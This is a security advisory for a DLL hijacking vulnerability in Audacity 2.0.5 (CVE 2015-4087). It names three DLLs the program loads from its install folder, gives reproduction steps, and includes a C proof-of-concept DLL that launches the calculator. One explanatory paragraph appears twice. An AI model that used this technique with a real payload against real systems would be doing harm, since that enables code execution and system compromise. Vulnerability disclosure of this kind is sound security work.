CVE 2015-4087
A local dll injection vulnerability has been discovered in the official Audacity 2.0.5.
Since the program is not specified with a fully qualified path name the program uses a fixed path to look for specific files or libraries. This path includes directories that may not be trusted or under user control. By placing a custom version of the file or library in the path, the program will load it before the legitimate version. This allows a local attacker to inject custom code that will be run with the privilege of the program or user executing the program. This attack can be leveraged remotely in some cases by placing the malicious file or library on a network share or extracted archive downloaded from a remote source. This can be done by tricking a user into running a hostile script from the local file system or a USB drive in some cases.
Since the program is not specified with a fully qualified path name the program uses a fixed path to look for specific files or libraries. This path includes directories that may not be trusted or under user control. By placing a custom version of the file or library in the path, the program will load it before the legitimate version. This allows a local attacker to inject custom code that will be run with the privilege of the program or user executing the program. This attack can be leveraged remotely in some cases by placing the malicious file or library on a network share or extracted archive downloaded from a remote source. This can be done by tricking a user into running a hostile script from the local file system or a USB drive in some cases.
When a malicious dll is created with the following names:
avformat-52.dll
avutil-50.dll
avcodec-52.dll
and placed in the directory of the installed audacity C:\Program Files (x86)\Audacity . And when Audacity will be started by the legitmate user it will start the process and just close by and in meanwhile the code within the malicious DLL will be executed and can lead to total compromise the system in which it is installed
Vulnerability Information:
Class: DLL Hijacking
Impact: System access
Remotely Exploitable: Yes
Locally Exploitable: Yes
Vulnerable Software:
[+] Audacity
Vulnerable Version(s):
[+] v2.0.5
Vulnerable Libraries:
[+]avformat-52.dll
[+]avutil-50.dll
[+]avcodec-52.dll
Proof of Concept (PoC):
=======================
Manual steps to reproduce the local vulnerability ...
1. Compile dll and rename to avformat-52.dll , avutil-50.dll , avcodec-52.dll
2. Copy avformat-52.dll to C:\Program Files\Audacity
3. Launch Audacity
PoC: Exploit
#include <windows.h>
int alpdaemon()
{
WinExec("calc", SW_SHOW);
exit(0);
return 0;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
{
alpdaemon();
return 0;
}
